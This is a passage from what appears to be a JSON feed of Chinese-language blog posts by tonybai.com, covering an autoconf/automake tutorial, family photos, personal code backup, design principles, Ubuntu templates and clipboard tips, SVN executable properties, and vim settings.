system\u0026rdquo;。automake，则是用来生成Makefile的原型-Makefile.in的。在大工程里，各种依赖关系纠结，如果采用纯手工编写Makefile方式，复杂度很高，而且Makefile的学习门槛也不低，想写出一份扩展性良好的通用Makefile也非易事。automake则试图将程序员从那些\u0026quot;扯不断理还乱\u0026quot;的依赖关系中解脱出来，你只需告诉automake你的工程里有哪些源文件、哪些目标文件、要连接什么库及各个文件的位置即可，automake帮你自动生成一份Makefile.in，Makefile.in则是configure脚本自动生成Makefile过程的输入。\n重新学习使用autoconf和automake，最重要的就是迅速获得一个正反馈！这就好比学习一门新的计算机编程语言，如果能在3分钟之内迅速写出一个\u0026ldquo;Hello World\u0026rdquo;程序，编译运行成功，并在屏幕上看到有\u0026quot;Hello World\u0026quot;输出，那么有了这个正反馈后你八成才会有继续学习的动力，否则很多耐性不足的人就会止步于此（例如很多Java语言初学者就止步于配置JDK环境变量上）。\n我将这个“正反馈”寄托在使用autoconf和automake来migrate一个几年前写的小工具库上了。这个工具库没比\u0026quot;hello world\u0026quot;复杂多少^_^，其大致组织结构是这样的:\nlcut/\n– src/\n– apr_ring.h\n– lcut.h\n– lcut.c\n– example/\n– runtests.c\nautoconf和automake虽然名字中都有一个\u0026quot;auto\u0026quot;，但这并不意味着不需要任何“手工”操作。你起码需要手工完成两个文件：configure.in和Makefile.am。configure.in全工程只有一个，放置在工程最顶层目录下。这个文件包含一系列autoconf测试宏，用于告知autoconf生成的configure脚本需要在目标主机上做哪些check工作;至于Makefile.am，看文件后缀也可以知道这个文件是给automake使用的。Makefile.am可以有多个，简单来说只要你想在哪个目录下放置一个Makefile就需要在这个目录下编写一个对应的Makefile.am。Makefile.am的功用前面提到过，它要比Makefile简单许多，层次也更高，有些类似一种\u0026quot;声明式(declarative)语言”的脚本，你无须告知它怎么做，只需告知它要做的事情是什么样子的即可。\n增加configure.in和Makefile.am后的源码包组织形式如下(新增文件用\u0026rsquo;+\u0026lsquo;标识)：\nlcut/\n+ configure.in\n+ Makefile.am\n– src/\n– apr_ring.h\n– lcut.h\n– lcut.c\n+ Makefile.am\n– example/\n+ Makefile.am\n– runtests.c\nconfigure.in的生成是“半自动”的。GNU提供了一个名为autoscan的工具以帮助生成一个configure.in的模板。在lcut的目录下运行autoscan –verbose，我们得到一个名为configure.scan的文件，并得到autoscan的运行日志如下：\ntonybai@tonybai-ubuntu-laptop:~/lcut$ autoscan –verbose\nautoscan: srcdir = .\ncfiles: src/apr_ring.h src/lcut.h src/lcut.c src/example/runtests.c\nmakefiles:\nshfiles:\nfunction:\nmalloc: src/lcut.c:132 src/lcut.c:203 src/lcut.c:241\nmemset: src/lcut.c:139 src/lcut.c:209 src/lcut.c:247\nheader:\nstddef.h: src/apr_ring.h:40\nstdlib.h: src/lcut.h:45\nstring.h: src/lcut.c:17\nidentifier:\nsize_t: src/lcut.h:214 src/lcut.c:78\nprogram:\ncc: src/apr_ring.h src/lcut.h src/lcut.c src/example/runtests.c\nmakevar:\nlibrarie:\n可以看出autoscan将lcut下的各类文件做了个全面扫描，根据其内部规则找出带有移植性问题的函数、头文件以及标识符等，并在configure.scan中放置了对应的autoconf测试宏，configure.scan的初始版本内容如下：\nAC_PREREQ([2.65])\nAC_INIT([FULL-PACKAGE-NAME], [VERSION], [BUG-REPORT-ADDRESS])\nAC_CONFIG_SRCDIR([src/apr_ring.h])\nAC_CONFIG_HEADERS([config.h])\n# Checks for programs.\nAC_PROG_CC\n# Checks for libraries.\n# Checks for header files.\nAC_CHECK_HEADERS([stddef.h stdlib.h string.h])\n# Checks for typedefs, structures, and compiler characteristics.\nAC_TYPE_SIZE_T\n# Checks for library functions.\nAC_FUNC_MALLOC\nAC_CHECK_FUNCS([memset])\nAC_OUTPUT\n将configure.scan直接改名为configure.in(或configure.ac)，我们就得到了configure.in的模板，剩下的工作就是根据需要修改该模板了。configure.in文件包含一组autoconf测试宏，关于这些测试宏的具体含义可参考GNU autoconf手册。这里仅针对某些宏做简要说明：\n-\u0026gt; AC_PREREQ 这个宏是一个指示符，用于告知autoconf该configure.in需要的最低autoconf版本号是多少，上面例子中版本号是2.65，如果你用低于2.65版本的autoconf来处理configure.in，就会提示版本太低。\n-\u0026gt; AC_INIT和AC_OUTPUT这两个宏标识着configure.in主体(body)内容的开始和结束，两个宏都可以接收一些options(参见manual)。\n-\u0026gt; AC_CONFIG_SRCDIR 则是放置在configure脚本中的一个safety检测，用于检查特定文件的存在性，以确保软件包本身结构的正确性。\n-\u0026gt; AC_CONFIG_HEADERS 指示需要输出config.h，config.h是configure过程输出的结果之一，其内容为一组#define directive，你的源件包代码可以包含config.h(在所有其他header files的前面)并使用这些directive来编写一些具有良好移植性的代码。\n上述configure.in模板不完全能满足我们的要求，所以我们需要对configure.in内容进行修改，修改后的configure.in如下：\nAC_PREREQ([2.65])\nAC_INIT([lcut], [0.1], [bigwhite.cn@gmail.com])\nAM_INIT_AUTOMAKE([foreign -Wall -Werror])\nAC_CONFIG_SRCDIR([src/apr_ring.h])\nAC_CONFIG_HEADERS([src/config.h])\nAC_CONFIG_FILES([Makefile src/Makefile src/example/Makefile])\n# Checks for programs.\nAC_PROG_CC\n# Checks for libraries.\nAC_PROG_RANLIB\n# Checks for header files.\nAC_CHECK_HEADERS([stddef.h stdlib.h string.h])\n# Checks for typedefs, structures, and compiler characteristics.\nAC_TYPE_SIZE_T\n# Checks for library functions.\nAC_FUNC_MALLOC\nAC_CHECK_FUNCS([memset])\nAC_OUTPUT\n以下对修改的地方做一些简要说明：\n-\u0026gt; AM_INIT_AUTOMAKE 初始化automake并告知automake打开所有警告，另外将警告视为错误，注意：这里的-Wall -Werror虽和GCC的某些options名字相同，但这只是巧合，这里的-Wall -Werror并不是给gcc传递-Wall和-Werror选项，这两个选项是针对automake本身的。foreign选项则是告知automake此软件包非GNU软件包，不必严格遵循GNU软件包的标准，比如软件包必须包含ChangeLog、AUTHORS等文件。\n-\u0026gt; AC_CONFIG_FILES 则是告知需要生成并输出相关文件，上面的AC_CONFIG_FILES([Makefile src/Makefile src/example/Makefile])与 AC_OUTPUT([Makefile src/Makefile src/example/Makefile])是等价的。\n-\u0026gt; AC_PROG_RANLIB 在需要生成.a静态链接库的软件包中都要加上这个宏。\nconfigure.in告一段落，下一个需要手工编辑的是Makefile.am。在这个lcut的例子里，我们需要三个Makefile.am(如上面的规划所描述)。 顶层Makefile.am内容如下：\nSUBDIRS = src src/example\nsrc/Makefile.am内容如下：\nlib_LIBRARIES = liblcut.a\nliblcut_a_SOURCES = lcut.c\ninclude_HEADERS = apr_ring.h lcut.h\nsrc/example/Makefile.am内容如下：\nnoinst_PROGRAMS = runtests\nruntests_SOURCES = runtests.c\nruntests_LDADD = $(top_srcdir)/src/liblcut.a\n这里的Makefile.am相对比较简单，其语法格式在automake manual里有详尽说明，这里不重述。值得一提的是noinst_XX，对于不需要安装(install)的可执行程序、静态库等，都使用noinst_XX作为前缀描述。另外top_srcdir是内置的全局变量，可直接使用。\nconfigure.in和Makefile.am都已经具备，只欠“东风”了，下面的Makefile生成操作都是“auto”的了。\n首先在源码包顶层目录下使用autoheader生成config.h.in，在例子里我们的config.h.in放置在src下了;\n然后同样在源码包顶层目录下运行aclocal，aclocal将根据configure.in生成aclocal.m4;\n最后运行autoconf，configure脚本被自动生成; 运行automake，我们得到所有Makefile.in。\nBuild环境就此初步搭建完毕。运行\u0026quot;configure -\u0026gt; make -\u0026gt; make install\u0026quot;，我们顺利的得到了安装后的库，example下的runtests程序运行也OK。以上脚本在Ubuntu 10.04和Solaris 10 for x86下均测试通过。另外Ubuntu linux默认自带了全部autotools工具，这让我的学习过程变得更加轻便顺畅了！\n我们再按照顺序回顾一下使用autoconf和automake的步骤：\n-\u0026gt; 策划你的项目目录结构，将编写好的第一版源码文件放到各个位置上;\n-\u0026gt; 在顶层目录下运行autoscan获得configure.in模板 (configure.scan-\u0026gt;configure.in)\n-\u0026gt; 手工编辑configure.in，满足个性化需要\n-\u0026gt; 手工建立并编辑各个层次的Makefile.am\n-\u0026gt; 在顶层目录下运行autoheader，生成相应config.h.in\n-\u0026gt; 在顶层目录下运行aclocal，生成aclocal.m4\n-\u0026gt; 在顶层目录下运行autoconf，生成configure\n-\u0026gt; 在顶层目录下运行automake，生成各级Makefile.in\nautoconf和automake很是强大，以上也仅仅算是学到了这两个工具的一些皮毛。面对更加复杂的软件包，学习和实践还在继续！\n","permalink":"https://tonybai.com/2010/09/26/hello-autoconf-and-automake/","summary":"\u003cp\u003e部门绝大多数的产品都运行在Sun的小型机上，底层的操作系统是\u003ca href=\"http://tonybai.com/2009/09/10/something-about-installing-solaris-10/\"\u003eSolaris\u003c/a\u003e。这两年公司开始主推\u003ca href=\"http://en.wikipedia.org/wiki/Blade_server\"\u003e刀片机\u003c/a\u003e(物美价廉^_^)，不过刀片机上运行的也是Solaris 10 for x86版本。基于同种OS的前提下在Sparc和x86两种体系之间做移植比较简单，主要考虑\u003ca href=\"http://tonybai.com/2005/09/28/also-talk-about-byte-order/\"\u003e字节序问题\u003c/a\u003e就可以了。不过对于可移植性的考虑不足还是让我们付出了较大的工作量。 在即将进行的新版本产品开发中，可移植性依旧没有被列入到必须要考虑实现的特性列表中，不过从未来产品演化和发展的角度考虑，现在就应该未雨绸缪，在可移植性方面多下工夫！\u003c/p\u003e","title":"Hello，autoconf和automake"},{"content":"\u0026ldquo;百岁照是一种民间传统，一种在小孩100天时候拍的照片，代表了人们对孩子的祈福，希望孩子能长命百岁。\u0026rdquo; — 百度百科\n在果果103天的时候我和LP一起带着果果去拍了一套百岁照。拍摄的过程很“艰苦”^_^:从上午9点一直持续到下午3点，其间果果睡了三次，哭了若干次，不过结果还是不错的，这不今天我和LP把照片取了回来。和我们那一代相比，现在的小孩子幸福多了。在我LP的钱包里放着我的一张儿时的照片，那是我大概五个多月时照的，似乎也是我的第一张正式照片了，起码我目前为止能找到的最早的照片就是它了（小时候身体比较虚弱，百天的时候老妈也没抱着我去照相^_^）。照片是黑白的，布景很简陋，只有一张铺着桌布的桌子，我穿着一个小背心儿，趴在桌子上，抬起小脑瓜，然后摄影师给我记录下了那一瞬间！\n现在的百岁照都是按套系的，和婚纱照一样，什么版权数量、服装套数、各种册子和我叫不上来名字的物件都需要和影楼一一敲定。不过这些我一概不懂，都是LP前期和影楼谈好的，我只是出钱出力^_^。\n好了，该上照片了，每套衣服挑了一张：\n我LP的最爱\n小家伙儿有些倦意了\n小马，拍照可这累啊！\n看，那边有帅哥！\n果果笑得最灿烂的一张，也是我的最爱！\n原版照片Size都很大，这里利用ImageMagick提供的命令convert做了缩小处理：\nfor img in `ls *.JPG`; do convert -resize 50%x50% $img x-$img; done\n这里作爸爸的也许个愿：愿果果一生健康快乐，平安幸福！\n果果倒不一定非得成龙成凤，做个快乐健康、人格健全、善良有爱心、对社会有贡献的普通人也没什么不好的^_^。\n","permalink":"https://tonybai.com/2010/09/23/one-hundred-days-photos-of-my-daughter/","summary":"\u003cp\u003e\u0026ldquo;百岁照是一种民间传统，一种在小孩100天时候拍的照片，代表了人们对孩子的祈福，希望孩子能长命百岁。\u0026rdquo; — 百度百科\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"http://tonybai.com/2010/06/10/celebrate-the-first-month-of-my-daughter/\"\u003e果果\u003c/a\u003e103天的时候我和LP一起带着果果去拍了一套百岁照。拍摄的过程很“艰苦”^_^:从上午9点一直持续到下午3点，其间果果睡了三次，哭了若干次，不过结果还是不错的，这不今天我和LP把照片取了回来。和我们那一代相比，现在的小孩子幸福多了。在我LP的钱包里放着我的一张儿时的照片，那是我大概五个多月时照的，似乎也是我的第一张正式照片了，起码我目前为止能找到的最早的照片就是它了（小时候身体比较虚弱，百天的时候老妈也没抱着我去照相^_^）。照片是黑白的，布景很简陋，只有一张铺着桌布的桌子，我穿着一个小背心儿，趴在桌子上，抬起小脑瓜，然后摄影师给我记录下了那一瞬间！\u003c/p\u003e\n\u003cp\u003e现在的百岁照都是按套系的，和婚纱照一样，什么版权数量、服装套数、各种册子和我叫不上来名字的物件都需要和影楼一一敲定。不过这些我一概不懂，都是LP前期和影楼谈好的，我只是出钱出力^_^。\u003c/p\u003e","title":"果果的百岁照"},{"content":"今天下午花了一个小时分别和两位同事做了一些代码讨论，这两位同事正在编写的代码都具有一定的试验性质(暂不能进入项目代码库)。这里不谈代码如何如何，而是就我发现的一个问题谈谈我的看法。\n问题其实也很简单：那就是两位同事“不约而同”的都没有对这类试验性质的代码进行很好的备份和版本管理。\n也许你看到这里会觉得这个芝麻粒儿大的问题不值得一提。没错，可能很多人都不以为然，不过有过以下经历的朋友们也许会与我产生共鸣：\n- 主机掉电，磁盘损坏，无法恢复数据，绞尽脑汁辛苦编写的数百上千行代码“付之一炬”，一切待重来;\n- 一个rm误操作使你和积累了多天的代码说了\u0026quot;永别\u0026quot;，剩下的只有眼泪;\n- 突然脑子中冒出一个想法，觉得应该如此重新设计并修改已有代码，加班+熬夜修改了数百行代码，横跨几个甚至是十几个文件，最终发现只是自己一时冲动，测试证明还是之前的设计是正确的。又加班+熬夜将代码恢复到修改前的模样。\n- 前一天晚上新增了几百行代码、删除了若干行，修改了十几个文件，第二天醒来再打开这些代码，感觉有些陌生，记不清到底加了哪些代码，删了哪些代码，甚至为什么增加和删除也许都忘记了。\n不知道上面的情景你亲历过几个？不管你是否亲历过，我想说都是：做好你的所有代码的备份和版本管理，哪怕这些代码仅仅是为自己所用，哪怕仅仅是用来做试验的，它们毕竟凝结了你的智慧和汗水。\n前两种情况告知你应该做好代码的备份工作，只做本地备份还不够，还要进行多点备份。\n第三种情况则提醒你做好版本管理，便于进行代码版本回溯。\n第四种情况也是做好版本管理的一个好处：追踪你的修改记录以及回顾你的思维旅程（通过svn commit log）。\n最好的方式就是你通过公司架设的版本控制Server管理你的代码，这样在版本管理的同时，代码也作了远程备份。如果是个人的非商业代码，你也可以尝试通过像Google Code这样的服务来管理和备份你的代码。如果你有条件的话，也完全可以在家里的另外一台机器上架设版本控制服务器，毕竟现在的硬件趋于白菜价。另外像Git这样的分布式版本控制工具既可以帮助你在本地做好代码版本管理，也方便你将代码与公司版本控制服务器之间做同步。\n作为脑力劳动者，任何从你的大脑里流出的东西可能都是有价值的，最好都能像代码一样做好备份和版本管理。不以善小而不为，何况这是对你自己有益的事儿呢！\n","permalink":"https://tonybai.com/2010/09/19/personal-code-backup-and-revision-control/","summary":"\u003cp\u003e今天下午花了一个小时分别和两位同事做了一些代码讨论，这两位同事正在编写的代码都具有一定的试验性质(暂不能进入项目代码库)。这里不谈代码如何如何，而是就我发现的一个问题谈谈我的看法。\u003c/p\u003e","title":"做好个人代码备份与版本管理"},{"content":"近一段时间重读了一些经典书籍，诸如《敏捷软件开发：原则、模式与实践》、 《程序员修炼之道》、《Unix编程艺术》等。这些书中关于如何衡量或评价一个类或函数设计好坏的几个原则(Principle)让人印象深刻。《敏捷软件开发》中谈到了SRP、OCP、DIP; 程序员修炼之道则以DRY、“正交性”为话题展开;《Unix编程艺术》围绕紧凑性、SPOT、分离等阐述作者立场。这么多经典原则，如何学习把握？我们不妨来挖掘一下这些新设计原则背后的本质。\n追本溯源，从计算机编程语言的发展历史来看，成熟的结构化程序设计语言(如C语言、Pascal等)要先于成熟的OO设计语言(C++、Java等)出现，那么其成熟的设计理论显然也是要早于后者的。这里就不能不提到经典结构化设计的代表作：《Structured Design: Fundamentals of a Discipline of Computer Program and System Design》，这本书出于1975年(年份来自维基百科，Amazon上卖的是1979年版)。说实话我也没有看过此书原版，不过书中的内容和思想早已被其他后继书籍引用和借鉴，我们在市面上能看到的关于结构化设计方面的书籍，尤其是中文书籍，多照搬了此书内容和思想，所以也算是间接学习到了。\n书中对抽象、模块化、信息隐藏(黑盒)作了阐述，并介绍了数据流/控制流图、结构图等设计方法。特别是书中关于内聚(Cohesion)与耦合( Coupling)的讲解对之后的程序设计评价方法影响至深。我们一直常说高内聚低耦合的模块是良好的设计，这里的内聚和耦合概念的提出者恰是这本书的作者Larry L.Constantine。内聚和耦合这两个概念是用来评价一个module设计好坏的。module一词中文意为“模块”，模块一词的范围让人很难界定，关于module这个概念，书中给出了这样的解释：\u0026ldquo;A module is a lexically contiguous sequence of program statements, bounded by boundary elements, having an aggregate identifier. Another way of saying this is that a module is a bounded, contiguous group of statements having a single name by which it can be referred to as a unit.\u0026rdquo; 显然类或子程序（函数）是符合module的定义的。用内聚和耦合来评价类或子程序（函数）的设计是适合的。\n关于Cohesion(CC2e 7.2小节)和Coupling(CC2e 5.3小节)的具体内容，这里就不细说了，《代码大全2》作者说的肯定比我好多了，另外维基百科中对coupling和cohesion的描述也很详尽。\n以上所说的内聚和耦合其实就是我认为的以上诸多经典设计原则背后本质的东西。诸多设计原则应该可以看作是耦合和内聚概念在不同语言范式上下文情境下的延伸、再包装或升华。虽然有些原则说法发生变化了，但是本质却是一样的。比如: 单一职责原则(Single Responsibilty Principle, SRP) 显然是\u0026quot;功能内聚(Functional cohesion)\u0026ldquo;的另一种表述; 有些原则虽然无法直接与内聚耦合概念进行直接对号，比如依赖倒置原则(Dependency Inversion Principle，DIP)，但是可以理解成追求低耦合的一种设计技法！\n把握好内聚和耦合的核心理念，你将以不变应万变，你也会更深刻理解诸如OCP、DIP等新原则了。\n俗话说“物以类聚”，这句同样适用于程序设计！一个module的设计如果有一处优点，那常常这个module也具备其他优点; 反之，如果发现这个module设计的一个缺点，那么离发现其他缺点也就不远了。\n内聚与耦合的概念不仅仅适用于程序设计领域，在所有其他设计领域似乎同样普适！考虑对比一下一个具备电加热除霜功能的后视镜与一个普通后视镜在设计层面上的优点与不足吧！\n发觉题目似乎有些夸张^_^。\n","permalink":"https://tonybai.com/2010/09/17/the-nature-of-some-classical-design-rules/","summary":"\u003cp\u003e近一段时间重读了一些经典书籍，诸如《\u003ca href=\"http://book.douban.com/subject/1140457/\"\u003e敏捷软件开发：原则、模式与实践\u003c/a\u003e》、 《\u003ca href=\"http://book.douban.com/subject/1152111/\"\u003e程序员修炼之道\u003c/a\u003e》、《\u003ca href=\"http://book.douban.com/subject/1467587/\"\u003eUnix编程艺术\u003c/a\u003e》等。这些书中关于如何衡量或评价一个类或函数设计好坏的几个原则(Principle)让人印象深刻。《敏捷软件开发》中谈到了\u003ca href=\"http://en.wikipedia.org/wiki/Single_responsibility_principle\"\u003eSRP\u003c/a\u003e、\u003ca href=\"http://en.wikipedia.org/wiki/Open/closed_principle\"\u003eOCP\u003c/a\u003e、\u003ca href=\"http://en.wikipedia.org/wiki/Dependency_inversion_principle\"\u003eDIP\u003c/a\u003e; 程序员修炼之道则以\u003ca href=\"http://en.wikipedia.org/wiki/DRY\"\u003eDRY\u003c/a\u003e、“正交性”为话题展开;《Unix编程艺术》围绕紧凑性、SPOT、分离等阐述作者立场。这么多经典原则，如何学习把握？我们不妨来挖掘一下这些新设计原则背后的本质。\u003c/p\u003e\n\u003cp\u003e追本溯源，从计算机编程语言的发展历史来看，成熟的结构化程序设计语言(如\u003ca href=\"http://tonybai.com/2006/03/28/c-refactoring/\"\u003eC语言\u003c/a\u003e、Pascal等)要先于成熟的OO设计语言(C++、Java等)出现，那么其成熟的设计理论显然也是要早于后者的。这里就不能不提到经典结构化设计的代表作：《\u003ca href=\"http://book.douban.com/subject/2357689/\"\u003eStructured Design: Fundamentals of a Discipline of Computer Program and System Design\u003c/a\u003e》，这本书出于1975年(年份来自\u003ca href=\"http://en.wikipedia.org/\"\u003e维基百科\u003c/a\u003e，Amazon上卖的是1979年版)。说实话我也没有看过此书原版，不过书中的内容和思想早已被其他后继书籍引用和借鉴，我们在市面上能看到的关于结构化设计方面的书籍，尤其是中文书籍，多照搬了此书内容和思想，所以也算是间接学习到了。\u003c/p\u003e","title":"经典设计原则背后的本质"},{"content":"今天收到LP的一封题为“宝贝儿两天”的mail，mail里附了几张照片，遂打开瞧瞧，看看是谁家宝宝。照片里的宝宝给我的第一眼感觉是似曾相识，可再定睛观瞧：这不是我家果果吗！没错，就是我家果果。\n果果出生后，我居然兴奋的忘记给果果拍照了，以至于现在我们连果果出生那天的照片都没有。这几张照片是LP的同事在果果出生后第二天来医院探望时拍下的，这居然是果果的第一张照片！果果长的真快，我都有点快认不出她当时的样子了^_^。\n果果的第一张照片\n果果的第二张照片（似乎在打哈欠）\n昨天，果果第一次从床上掉到了地板上，还好床不高，果果还是侧身滚落的，没有受伤，只是受到些惊吓。果果在姥姥怀里委屈的抽泣了半个多小时才转苦为乐。看着号啕大哭的果果，我的心里甭提多心疼了，真的，第一次这么心疼孩子！\n","permalink":"https://tonybai.com/2010/09/13/the-first-photo-of-my-daughter/","summary":"\u003cp\u003e今天收到LP的一封题为“宝贝儿两天”的mail，mail里附了几张照片，遂打开瞧瞧，看看是谁家宝宝。照片里的宝宝给我的第一眼感觉是似曾相识，可再定睛观瞧：这不是我家果果吗！没错，就是我家果果。\u003c/p\u003e","title":"果果的第一张照片"},{"content":"每次安装Ubuntu后，主文件夹(你的$HOME目录)下都会默认建立起一些目录，诸如：下载、音乐、图片等，这些目录的用途通过其名字都可以猜个八九不离十，只有一个叫作“模板”的目录一直让我摸不到头脑。直到这次彻底迁移到Ubuntu，我才发现这个“模板”目录的妙用！\n平时工作中常常需要新建一些文档，以前用Windows时都会使用右键菜单，点击“新建”，然后选择不同的文档类型。但在Ubuntu上却发现右键快捷菜单中“创建文档”的二级菜单项中默认只有\u0026quot;空文件”这一种文档类型，这显然不能满足我的需求！\n在网上Google如何将更多文档类型添加到右键快捷菜单中。首先得到的答复是：Ubuntu Tweak可以做到。\n启动Ubuntu Tweak，选择“个人设定”-\u0026gt; \u0026ldquo;管理模板“。这里有一堆\u0026quot;未启用的模板\u0026rdquo;，诸如.odt、.ods、Html文档等模板类型，你可以把你需要的模板拖到左侧”已启用模板“列表中。选择完后，你在右键菜单“创建文档”中就可以看到这些类型的文档模板了。\n不过如何添加Ubuntu Tweak里没有包含的文档模板类型呢？继续Google！在Ubuntu中文论坛上我找到了最终答案：将你期望的文档模板放入“模板”文件夹即可。恍然大悟，原来“模板”目录的用途是这样的啊。\n打开$HOME目录下的模板文件夹，发现刚刚使用Ubuntu Tweak拖拽过来的文档模板都存放在这里。把一个word_template.doc的Ms Word文件作为文档模板放入此文件夹，打开右键菜单，果然看到了\u0026quot;word_template.doc\u0026quot;的菜单项。点击该菜单项，一个新doc文件就创建成功了，其实Ubuntu就是将“模板”目录下的word_template.doc文档模板复制了一份供你使用。\n这种灵活性让人大呼过瘾！因为你完全可以将自己定制的文档模板放入右键菜单中！比如：公司一般都有很多办公或设计的模板文件，需要时要么在本机找到这些模板文件Copy一份，要么到公司办公网络上下载一份新的。这样一来很多人(包括我^_^)常因无法找到存储模板文件的位置或记不住下载地址而浪费了很多时间！使用Ubuntu文档模板后你只需要将文档模板放入“模板”目录，下次你就可以通过右键菜单创建新文档了！如果你是C程序员，你也可以将一份定制好的.h或.c或Makefile文件放到右键菜单中。如果你的公司模板文件太多，都放在“模板”目录下会导致右键菜单显示过长，你可以通过在“模板”目录下建立分类子目录来解决这个问题。这些子目录也将出现在右键菜单中，并可级联打开下一级菜单，显示子目录下的文档模板列表。如此灵活的功能是Windows所无法提供的（起码我目前还不知道Windows中有类似功能^_^）。\n这里顺便将近期使用Ubuntu时学到的一些技巧叨咕叨咕：\n* 关于Ubuntu剪切板\n与Windows上全局一个剪切板不同的是，Ubuntu上提供两个剪切板：一个叫Primary clipboard，通过标准的Ctrl+v(终端用Ctrl+Shift+c)/Ctrl+v复制和粘贴。而另外一个是Selection Clipboard，顾名思义，选择即复制，鼠标中键粘贴。遗憾的是这两个剪切板居然不能混合使用。Primary Clipboard的内容无法通过敲击鼠标中键粘贴，反之亦然。安装Parcellite(GTK+剪切板管理器）可以在一定程度上解决这个问题。安装后，在其\u0026quot;首选项\u0026quot;配置中将以下三项均选上：\n-\u0026gt; Use Copy (Ctrl-C)\n-\u0026gt; Use Primary (Selection)\n-\u0026gt; Sync clipboards\n这样两个剪切板的内容就可以共享了，即通过选择复制的内容，可以使用Ctrl+v粘贴了。\n* apt-get代理设置\n在单位通过公司代理上网，使用Ubuntu 9.04的时候，只需在.bashrc中配置http_proxy环境变量即可，apt-get可以顺利连接到Internet。但是换了Ubuntu 10.04后，http_proxy即使设置了，apt-get也无法连接到Internet。这个问题曾经一度无解，直到近期才找到答案：通过配置/etc/apt/apt.conf(若无此文件，则新建)达到为apt-get设置代理的目的。在apt.conf中添加如下一行：\nAcquire::http::Proxy \u0026ldquo;http://user:pass@server:port\u0026rdquo;;\n* Gconf-editor\nUbuntu下也有一个类似注册表编辑器的工具：gconf-editor，用来对Gnome桌面环境和相关应用配置。其设置项目甚多，目前了解不多，这里就不深叨咕了^_^。\n后记：短短两周的时间，部门内部已经相继有三位同事在各自的电脑中安装了Ubuntu 10.04，看来Ubuntu的魅力还是\u0026quot;不可小觑\u0026quot;的^_^。\n","permalink":"https://tonybai.com/2010/09/10/use-the-document-template-of-ubuntu/","summary":"\u003cp\u003e每次\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003e安装Ubuntu\u003c/a\u003e后，主文件夹(你的$HOME目录)下都会默认建立起一些目录，诸如：下载、音乐、图片等，这些目录的用途通过其名字都可以猜个八九不离十，只有一个叫作“模板”的目录一直让我摸不到头脑。直到这次\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003e彻底迁移到Ubuntu\u003c/a\u003e，我才发现这个“模板”目录的妙用！\u003c/p\u003e\n\u003cp\u003e平时工作中常常需要新建一些文档，以前用Windows时都会使用右键菜单，点击“新建”，然后选择不同的文档类型。但在Ubuntu上却发现右键快捷菜单中“创建文档”的二级菜单项中默认只有\u0026quot;空文件”这一种文档类型，这显然不能满足我的需求！\u003c/p\u003e","title":"使用Ubuntu文档模板"},{"content":"今天做了一些项目版本库的搭建工作，主要是将相关模块和库目录建立好，将Makefile编写好，并添加到SVN库中。\n工作接近尾声时，无意中发现提交到SVN库中的文件居然都带着可执行权限(以下称x属性)，如：\n-rwxr-xr-x 1 tonybai tonybai 203 2010-04-21 17:26 Makefile*\n这着实让人觉得别扭！Svn居然记录了文件的权限信息，至少我以前还没有关注过这点。\n摆在面前有两件问题要搞清楚：\n1、我在本地建立的文本文件为何带上了可执行的权限？\n2、如何将SVN库中文件的可执行权限属性去掉？\n我检查了一下我的Ubuntu Shell设置，没有显式设置umask，但是在/etc/profile中Bash默认设置了\u0026quot;umask 022\u0026quot;，这样我新建的文件应该具有-rw-r–r–的权限属性才对，为什么变成了-rwxr-xr-x了呢？ 回想了一下，Makefile是我从其他项目的本地代码目录下Copy过来的，难道这个项目的代码文件原本就携带了可执行权限吗？打开那个本地目录，ls -l查看了一下，果然所有文本文件都是带有x权限的。在这个目录下touch了一个新文件，居然也是携带x权限的！回到“主文件夹”，又尝试touch了一个文件，这个文件却不带有x权限！难道与分区有关系？那个项目的本地代码是放在Windows的FAT32分区下的，这个分区是在Ubuntu启动后通过点击分区磁盘符后才mount上的。这个问题我没有继续深挖，但原因八九不离十就是Ubuntu在挂接这些分区时传递并采用的umask的值与Bash默认配置的值不同。\n事已至此，那如何“亡羊补牢”将SVN库中存储的文件的x属性去掉呢？ SVN手册给了我们一些线索！手册中谈到通过设置svn:executable可以保持文件的x属性，例如：如果想给SVN库中的某个文件加上x属性，可使用：\nsvn propset svn:executable on test.c\n执行结果提示：设置属性 “svn:executable” 于 “test.c”\n查看一下文件属性：\n-rwxr-xr-x 1 tonybai tonybai 50 2010-09-08 15:44 test.c*\n本地文件已经被加上了x属性，svn status查看一下，发现svn认为test.c已经发生了改变。svn commit后，test.c就会被加上executable属性，之后你无论在哪里checkout文件test.c，你都会发现test.c有着x权限。\n如何删除x权限呢？没有细致查看手册之前，我猜想应该执行: \u0026ldquo;svn propset svn:executable off test.c\u0026rdquo;，结果svn给出提示:\nsvn: 警告: 使用 “svn propdel” 关闭属性 svn:executable；\n设置属性为 “off” 不会关闭它。\nsvn提示我使用svn propdel，再查看一下手册，的确svn propdel是用于删除各种prop的正确命令，执行：svn propdel svn:executable test.c\n提示：删除属性 “svn:executable” 于 “test.c”。\n使用ls -l查看，test.c的x属性已经被删除，如果想删除svn server端的x属性，还需进行一次svn commit。\n","permalink":"https://tonybai.com/2010/09/08/modify-the-executable-property-of-files-in-svn-repository/","summary":"\u003cp\u003e今天做了一些\u003ca href=\"http://tonybai.com/2010/08/26/also-talk-about-branch/\"\u003e项目版本库\u003c/a\u003e的搭建工作，主要是将相关模块和库目录建立好，将Makefile编写好，并添加到SVN库中。\u003c/p\u003e\n\u003cp\u003e工作接近尾声时，无意中发现提交到SVN库中的文件居然都带着可执行权限(以下称x属性)，如：\u003cbr\u003e\n-rwxr-xr-x  1 tonybai tonybai    203 2010-04-21 17:26 Makefile*\u003cbr\u003e\n这着实让人觉得别扭！Svn居然记录了文件的权限信息，至少我以前还没有关注过这点。\u003c/p\u003e","title":"修改SVN中文件的可执行属性"},{"content":"今天遇到一个奇怪的问题：明明我在.vimrc中开启了expandtab选项，但是当我编辑Makefile文件时，敲入的TAB就是无法被VIM自动转换为四个空格(已经设置tabstop=4，shiftwidth=4)，通过\u0026quot;:set expandtab?\u0026ldquo;查看该选项值也居然是\u0026quot;noexpandtab\u0026rdquo;;编辑其他文件（如.c、.h文件甚至是无扩展名的文件)时expandtab却都是开启的，TAB也可被自动转换，百思不得其解!\n最初怀疑是compatible的设置对expandtab产生了影响。打开我的.vimrc，发现我设置的是“set 